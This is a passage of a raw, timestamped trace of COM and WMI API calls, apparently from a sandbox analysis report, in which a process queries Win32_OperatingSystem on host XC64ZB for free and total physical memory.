This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.653] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0294.653] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0294.653] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0294.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202180) returned 0x0 [0294.653] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0294.653] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0294.653] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0294.653] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0294.653] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0294.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286c50) returned 0x0 [0294.654] IUnknown:AddRef (This=0x1b286c50) returned 0x4 [0294.654] IUnknown:Release (This=0x1b286c50) returned 0x3 [0294.654] IUnknown:Release (This=0x1b286c50) returned 0x2 [0294.654] WbemLocator:IUnknown:Release (This=0x1d290590) returned 0x2 [0294.654] SysStringLen (param_1=0x0) returned 0x0 [0294.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0294.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0294.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.654] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0294.654] IUnknown:AddRef (This=0x1b286c50) returned 0x3 [0294.654] IEnumWbemClassObject:Clone (in: This=0x1b286c50, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286080) returned 0x0 [0294.655] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286088) returned 0x0 [0294.655] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0294.655] IUnknown:Release (This=0x1b286088) returned 0x1 [0294.655] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b202698) returned 0x0 [0294.655] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286088) returned 0x0 [0294.655] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0294.657] IUnknown:Release (This=0x1b286088) returned 0x2 [0294.657] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0294.657] CoTaskMemFree (pv=0x1d1e6d80) [0294.657] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b202698) returned 0x0 [0294.657] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0294.667] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0294.683] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0294.699] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0294.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0294.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0294.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b202578) returned 0x0 [0294.699] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202578, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.699] WbemLocator:IUnknown:Release (This=0x1b202578) returned 0x3 [0294.699] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0294.699] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0294.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b202660) returned 0x0 [0294.699] WbemLocator:IRpcOptions:Query (in: This=0x1b202660, pPrx=0x1b202698, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0294.699] WbemLocator:IUnknown:Release (This=0x1b202660) returned 0x3 [0294.699] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0294.699] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0294.699] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0294.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286080) returned 0x0 [0294.699] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0294.699] IUnknown:Release (This=0x1b286080) returned 0x3 [0294.699] IUnknown:Release (This=0x1b286080) returned 0x2 [0294.700] IUnknown:Release (This=0x1b286c50) returned 0x2 [0294.700] SysStringLen (param_1=0x0) returned 0x0 [0294.700] IEnumWbemClassObject:Reset (This=0x1b286080) returned 0x0 [0294.713] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0dd0 [0294.713] IEnumWbemClassObject:Next (in: This=0x1b286080, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0dd0, puReturned=0x26a0060 | out: apObjects=0x1d1c0dd0*=0x1b2681f0, puReturned=0x26a0060*=0x1) returned 0x0 [0294.725] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b2681f0) returned 0x0 [0294.725] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0294.725] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0294.725] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0294.726] IUnknown:AddRef (This=0x1b2681f0) returned 0x3 [0294.726] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0294.726] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0294.726] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b2681f8) returned 0x0 [0294.726] IMarshal:GetUnmarshalClass (in: This=0x1b2681f8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0294.726] IUnknown:Release (This=0x1b2681f8) returned 0x3 [0294.726] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0294.726] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0294.726] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0294.726] IUnknown:Release (This=0x1b2681f0) returned 0x2 [0294.726] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0294.726] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0294.726] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b2681f0) returned 0x0 [0294.726] IUnknown:AddRef (This=0x1b2681f0) returned 0x4 [0294.726] IUnknown:Release (This=0x1b2681f0) returned 0x3 [0294.726] IUnknown:Release (This=0x1b2681f0) returned 0x2 [0294.726] CoTaskMemFree (pv=0x1d1c0dd0) [0294.726] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0294.726] IUnknown:AddRef (This=0x1b2681f0) returned 0x3 [0294.727] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0294.727] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0294.727] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0294.727] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0294.727] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0294.727] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0294.727] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0294.727] IUnknown:Release (This=0x77dd58) returned 0x1 [0294.745] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d217f10) returned 0x0 [0294.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d217f10, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0294.745] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d217f10, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b2933e0) returned 0x0 [0294.745] WbemDefPath:IUnknown:Release (This=0x1d217f10) returned 0x0 [0294.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b2933e0) returned 0x0 [0294.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0294.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0294.745] WbemDefPath:IUnknown:AddRef (This=0x1b2933e0) returned 0x3 [0294.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0294.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0294.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218410) returned 0x0 [0294.746] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218410, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.746] WbemDefPath:IUnknown:Release (This=0x1d218410) returned 0x3 [0294.746] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0294.746] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0294.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0294.746] WbemDefPath:IUnknown:Release (This=0x1b2933e0) returned 0x2 [0294.746] WbemDefPath:IUnknown:Release (This=0x1b2933e0) returned 0x1 [0294.746] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0294.746] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0294.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2933e0, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b2933e0) returned 0x0 [0294.746] WbemDefPath:IUnknown:AddRef (This=0x1b2933e0) returned 0x3 [0294.746] WbemDefPath:IUnknown:Release (This=0x1b2933e0) returned 0x2 [0294.746] WbemDefPath:IWbemPath:SetText (This=0x1b2933e0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0294.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0294.746] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0294.746] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0294.746] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0294.747] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.747] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26a0e28*=0, plFlavor=0x26a0e2c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x26a0e28*=21, plFlavor=0x26a0e2c*=0) returned 0x0 [0294.747] SysStringByteLen (bstr="1359840") returned 0xe [0294.747] SysStringByteLen (bstr="1359840") returned 0xe [0294.747] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26a0e28*=21, plFlavor=0x26a0e2c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x26a0e28*=21, plFlavor=0x26a0e2c*=0) returned 0x0 [0294.747] SysStringByteLen (bstr="1359840") returned 0xe [0294.747] SysStringByteLen (bstr="1359840") returned 0xe [0294.747] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0294.747] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0294.747] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.748] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26a1020*=0, plFlavor=0x26a1024*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x26a1020*=21, plFlavor=0x26a1024*=0) returned 0x0 [0294.748] SysStringByteLen (bstr="2096620") returned 0xe [0294.748] SysStringByteLen (bstr="2096620") returned 0xe [0294.748] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26a1020*=21, 